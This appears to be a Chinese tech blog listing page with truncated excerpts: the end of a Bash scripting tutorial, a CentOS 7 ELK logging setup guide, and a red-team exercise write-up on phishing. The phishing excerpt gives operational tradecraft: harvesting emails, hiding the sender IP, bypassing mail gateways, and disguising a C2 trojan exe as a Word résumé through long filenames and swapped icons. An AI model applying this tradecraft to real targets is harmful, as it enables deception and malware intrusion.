Bash 脚本添加条件逻辑。这些语句以fi结束。 单个 if语句的语法是: if [ condition ]; then your code fi 注意使用 [ ... ];和then。 if-else语句的语法是: if [ expression ]; then ## execute this block if condition is true else go to next elif [ expression ]; then ## execute this block if condition is true else go to next else ## if none of the above conditions are true, execute this block fi 这里有一个使用 if-else语句的 Bash 脚本示例: #!/bin/bash read -p "Enter the number: " num mod=$(($num%2)) if [ $mod -eq 0 ]; then echo "Number $num is even" else echo "Number $num is odd" fi 运行它,你应该能看到这样的结果: -eq被称为测试条件或条件操作符。有许多这样的操作符可以给你不同类型的比较: 这些是你可以用来进行数值比较的测试条件操作符: 条件 当…时,等同于 true $a -lt $b $a ($a是小于$b) $a -gt $b $a > $b($a是大于$b) $a -le $b $a ($a是小于或等于$b) $a -ge $b $a >= $b($a是大于或等于$b) $a -eq $b $a == $b($a等于$b) $a -ne $b $a != $b($a不等于$b) 如果你在进行字符串比较,你可以使用以下这些测试条件: 条件 当…时,等同于 true "$a" = "$b" $a等同于$b "$a" == "$b" $a等同于$b "$a" != "$b" $a不同于$b -z "$a" $a是空的 还有些条件用于检查文件类型: 条件 当…时,等同于 true -f $a $a是一个文件 -d $a $a是一个目录 -L $a $a是一个链接 ? 要特别注意空格。开括号和闭括号、条件之间必须有空格。同样地,条件操作符(-le、==等)之前和之后必须有空格。 Bash 基础知识系列 #7:If-Else 语句 8、使用 Bash 脚本中的循环 Bash 支持三种类型的循环:for、while和until。 这是 for循环的一个例子: #!/bin/bash for num in {1..10}; do echo $num done 运行它,你将看到以下输出: 1 2 3 4 5 6 7 8 9 10 如果你选择使用上面的示例,可以使用 while循环这样重写: #!/bin/bash num=1 while [ $num -le 10 ]; do echo $num num=$(($num+1)) done 同样,可以使用 until循环来重写: #!/bin/bash num=1 until [ $num -gt 10 ]; do echo $num num=$(($num+1)) done ? while循环和until循环非常相似。区别在于:while循环在条件为真时运行,而until循环在条件为假时运行。 Bash 基础知识系列 #8:For、While 和 Until 循环 9、在 Bash 脚本中使用函数 Bash Shell 支持使用函数,这样你不必反复编写相同的代码片段。 这是声明 Bash 函数的通用语法: function_name { commands } 这是一个使用带参数的函数的 Bash 脚本样例: #!/bin/bash sum { sum=$(($1+$2)) echo "The sum of $1 and $2 is: $sum" } echo "Let's use the sum function" sum 1 5 如果你运行该脚本,你将看到以下输出: Let's use the sum function The sum of 1 and 5 is: 6 Bash 基础知识系列 #9:Bash 中的函数 接下来呢? 这只是一个初窥。这个 Bash 脚本教程只是一篇引言。Bash 脚本的内容还有很多,你可以慢慢地、逐渐地探索。 GNU Bash 参考是一份优秀的在线资源,可以解答你的 Bash 疑问。 GNU Bash 参考 除此之外,你可以下载这本免费书籍来学习更多在此未涵盖的 Bash 内容: 下载 Bash 初学者指南 一旦你具有足够的 Bash 基础知识,你可以通过这本免费书籍来学习高级 Bash 脚本: 下载高级 Bash 编程指南 这两本书至少都有十年的历史,但你仍然可以使用它们来学习 Bash。 ...

    2023-08-23 155
  • 攻防演练 | HW实战中钓鱼全流程梳理

    0x01前言 临近攻防演习,传统的web打点在没有0day的条件下变得非常困难,钓鱼成为一种相对容易的打点方式。本篇文章将介绍个人总结的钓鱼全流程,包括发送阶段注意事项、钓鱼话术、上线后注意事项。 本文不讨论免杀技术,均在当前已有一个能过国内主流杀软的exe,想让目标上线至我们C2服务器的情境下展开。 个人偏向于通过邮件来实施钓鱼,文章将重点讲解钓鱼邮件的全流程。当然电话、wx钓鱼的方式成功率更高,也需要更强的社牛属性。 0x02发送阶段注意事项 1、邮箱收集 网页泄露:官网联系邮箱、招标文件、招聘信息、投诉邮箱等等。 查询工具:https://hunter.io/search http://www.skymem.i nfo/srch 2、少用群发 群发的邮件内容定制化程度低、可信度低,一旦被发现认定为钓鱼邮件,防守方会对木马文件进行分析,进而导致辛辛苦苦做好的免杀马被上传到云平台,最终失去免杀效果。 我个人偏向于通过常规163邮箱来发送邮件,gophis等钓鱼工具用的不是很熟练。 当然,如果想要尝试群发,需要开启选项:“分别发送”,不然收件人会知道你同时发了很多邮件给别人,很容易被识别出来这是一封钓鱼邮件。 3、修改邮箱前缀和昵称 邮箱的昵称是可以多次更改的,每次发送邮件前修改昵称,使昵称更符合情景。收件人先看到的是你的昵称,而不是邮箱号。   4、使用代理 收件人可以看到发件人发件时的IP,请选择一个合适区域的代理,不要远到国外,也不要暴露自己真实的IP。 5、绕过邮件网关 遇到邮件网关,可以尝试压缩包加密、或将恶意链接修改为二维码图片。 0x03钓鱼话术 在不同场景要有不同的钓鱼话术,接下来将从HR、企业、xx局三个目标来定制不同话术。 HR->简历 针对HR通常将木马伪造成简历,我通常将exe的名称加长,可以达到让受害者看不到后缀名的效果,同时使用resourcehacker修改exe图标为word、wps之类的图标,再将exe压缩后发送,实现以假乱真的效果 木马名称:“xxxxx大学——xxx简历——xxxx求职咨询.exe” 受害者看到的木马:word图标、名称为“xxxx大学——xxx简历——...” 话 ...

    2023-08-23 192
  • CentOS7搭建SpringBoot项目整合ELK环境详解

    文章目录 前言 1、ELK概述 2、环境&版本 3、Elasticsearch 3.1、下载Elasticsearch 3.2、安装Elasticsearch 3.3、配置Elasticsearch 3.4、启动Elasticsearch 4、Logstash 4.1、下载Logstash 4.2、安装Logstash 4.3、配置Logstash 4.4、启动Logstash 5、Kibana 5.1、下载Kibana 5.2、安装Kibana 5.3、配置Kibana 5.4、启动Kibana 6、SpringBoot集成ELK 6.1、添加依赖 6.2、修改Logback配置 6.3、启动SpringBoot项目 6.4、在Kibana中查看日志 总结 前言 本文详细介绍了在CentOS 7操作系统上搭建ELK以及在SpringBoot项目中整合ELK的步骤。以下内容来自掘金用户汪小成。 1、ELK概述 ELK代表Elasticsearch、Logstash和Kibana三个开源项目的首字母缩写。这三个项目共同构成了一个成熟且强大的实时日志集中处理方案。在这个方案中,Logstash用于日志收集,Elasticsearch则用于数据存储和索引,而Kibana则提供了一个直观的可视化界面,用于查看存储在Elasticsearch中的日志数据。 2、环境&版本 服务器系统版本、JDK版本、ELK版本信息如下: 环境 版本 端口号 Centos 7.9   JDK 1.8   Elasticsearch 7.2.1 39100 Logstash 7.2.1 39102 Kibana 7.2.1 39101 Elasticsearch、Logstash和Kibana三个开源项目都需要在Java环境下运行,所以需要提前在服务器上安装JDK。 centos的环境搭建的JDK1.8。本文中没有讲述JDK的安装,有需要的朋友可以参考《Centos7 安装JDK1.8》文章。 3、Elasticsearch 3.1、下载Elasticsearch $ wget –c https://mirrors.huaweicloud.com/elasticsearch/7.2.1/elasticsearch-7.2.1-x86_64.rpm 为了更快的下载速度,我选择在华为开源镜像站下载Elasticsearch。 3.2、安装Elasticsearch $ rpm -ivh elasticsearch-7.2.1-x86_64.rpm 3.3、配置Elasticsearch Elasticsearch配置文件位置:/etc/elasticsearch。 进入配置文件所在文件夹: $ cd /etc/elasticsearch 备份配置文件(非必要): $ cp elasticsearch.yml elasticsearch.backup.yml 使用vim打开elasticsearch.yml配置文件,按下i进入编辑模式。修改内容如下: network.host: 0.0.0.0 http.port: 39100 discovery.seed_hosts: ["127.0.0.1:39100"] 配置项说明: network.host用于设置绑定的主机地址,可以是IP地址或主机名。http.port用于设置监听的HTTP端口,出于一些特殊原因,我将elasticsearch的端口号由默认的9200修改为39100。discovery.seed_hosts用于设置集群节点的种子主机地址,用于节点发现和加入集群。 3.4、启动Elasticsearch # 启动Elasticsearch $ sudo systemctl start elasticsearch 将Elasticsearch设置为开机启动(非必要): # 将Elasticsearch设置为开机自启 $ sudo systemctl enable elasticsearch 查看Elasticsearch的运行状态: $ sudo systemctl status elasticsearch 或者,使用如下命令检查Elasticsearch是否启动成功: # 检查Elasticsearch是否启动成功 $ netstat -antp | grep 39100 待Elasticsearch启动成功后,可以使用curl命令来测试Elasticsearch是否正常运行。例如: $ curl http://127.0.0.1:39100 如果返回类似以下内容,说明Elasticsearch已经成功运行: { "name" : "localhost.localdomain", "cluster_name" : "elasticsearch", "cluster_uuid" : "NqlpN5iJQmeSV_TvHqPo6w", "version" : {   "number" : "7.2.1",   "build_flavor" : "default",   "build_type" : "rpm",   "build_hash" : "fe6cb20",   "build_date" : "2019-07-24T17:58:29.979462Z",   "build_snapshot" : false,   "lucene_version" : "8.0.0",   "minimum_wire_compatibility_version" : "6.8.0",   "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" } 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39100/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 4、Logstash 4.1、下载Logstash 在华为开源镜像站下载Logstash: $ wget –c https://repo.huaweicloud.com/logstash/7.2.1/logstash-7.2.1.rpm 4.2、安装Logstash $ rpm -ivh logstash-7.2.1.rpm 4.3、配置Logstash 在/etc/logstash/conf.d文件夹下创建logstash.conf配置文件,配置文件内容如下: input {   tcp {       host => "0.0.0.0"       port => 39102       mode => "server"       codec => json_lines   } } output {   elasticsearch {       hosts => "localhost:39100"       index => "%{[appname]}-%{+YYYY.MM.dd}"   } } 配置说明: input – 用于定义数据的输入源,即Logstash的数据来源。 tcp – 用于指定Logstash监听指定的IP和端口,接收 TCP 连接传入的数据。 host – 监听的主机IP地址,这里的0.0.0.0表示监听所有可用的网络接口。 port – 监听的端口号。我这里将端口号由默认的9600改为了39102。 mode – 连接模式。 codec – 数据编码解码方式,json_lines表示接收到的数据将以JSON行的形式解析。 output – 用于定义数据的输出目录。 elasticsearch – 表示将数据输出到Elasticsearch集群。 hosts – 用于设置Elasticsearch集群的主机地址和端口号。 index – 用于指定Elasticsearch索引的名称。这里使用 %{[appname]} 表示索引名称从数据中的appname字段获取。%{+YYYY.MM.dd}表示在索引中包含日期信息。 4.4、启动Logstash $ sudo systemctl start logstash 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39102/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 5、Kibana 5.1、下载Kibana $ wget –c https://repo.huaweicloud.com/kibana/7.2.1/kibana-7.2.1-x86_64.rpm 5.2、安装Kibana $ rpm -ivh kibana-7.2.1-x86_64.rpm 5.3、配置Kibana 进入/etc/kibana文件夹,修改kibana.yml配置文件中如下内容: server.port: 39101 server.host: "0.0.0.0" elasticsearch.hosts: ["http://localhost:39100"] i18n.locale: "zh-CN" 配置说明: server.port – 用于指定Kibana服务监听的端口号,这里我将端口号由默认的5601改成了39101。 server.host – 用于指定Kibana服务监听的主机地址。”0.0.0.0″表示监听所有可用的网络接口,即可以从任意IP地址访问Kibana。 elasticsearch.hosts – 用于设置Elasticsearch集群的主机地址和端口号。 i18n.locale – 用于设置界面语言,这里将界面语言设置成了中文。 5.4、启动Kibana $ sudo systemctl start kibana 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39101/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 6、SpringBoot集成ELK Spring Boot应用输出日志到ELK的大体流程如下图所示:说明: Spring Boot应用产生日志数据,使用Logback日志框架记录日志。 Logstash作为日志收集器,接收Spring Boot应用发送的日志数据。 Logstash解析和过滤日志数据,可能会对其进行格式化和处理。处理后的日志数据被发送到Elasticsearch,Elasticsearch将日志数据存储在分布式索引中。 Kibana连接到Elasticsearch,可以查看存储在Elasticsearch中的日志数据。 6.1、添加依赖 修改pom.xml文件,添加如下配置: dependency>    groupId>net.logstash.logbackgroupId>    artifactId>logstash-logback-encoderartifactId>    version>7.2version> dependency> 6.2、修改Logback配置 修改Logback的配置文件: + +   +   60.211.159.140:39102 +   +   +       +       {"appname":"spring-boot-elk"} +   +   +     6.3、启动SpringBoot项目 这一步,我就不废话了。 6.4、在Kibana中查看日志 1、在浏览器地址样中输入服务器IP+Kibana端口号 –> 点击管理 –> 点击索引模式 –> 点击创建索引模式。2、输入索引模式名称 –> 点击下一步。3、设置时间筛选字段名称,我这里没有使用时间筛选。4、点击Discover图标就可以看到Spring Boot项目输出的日志了。 总结 以上就是作者分享的CentOS7搭建Spring Boot项目整合ELK环境全部内容详解,希望对你有帮助! ...

    2023-08-20 219

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注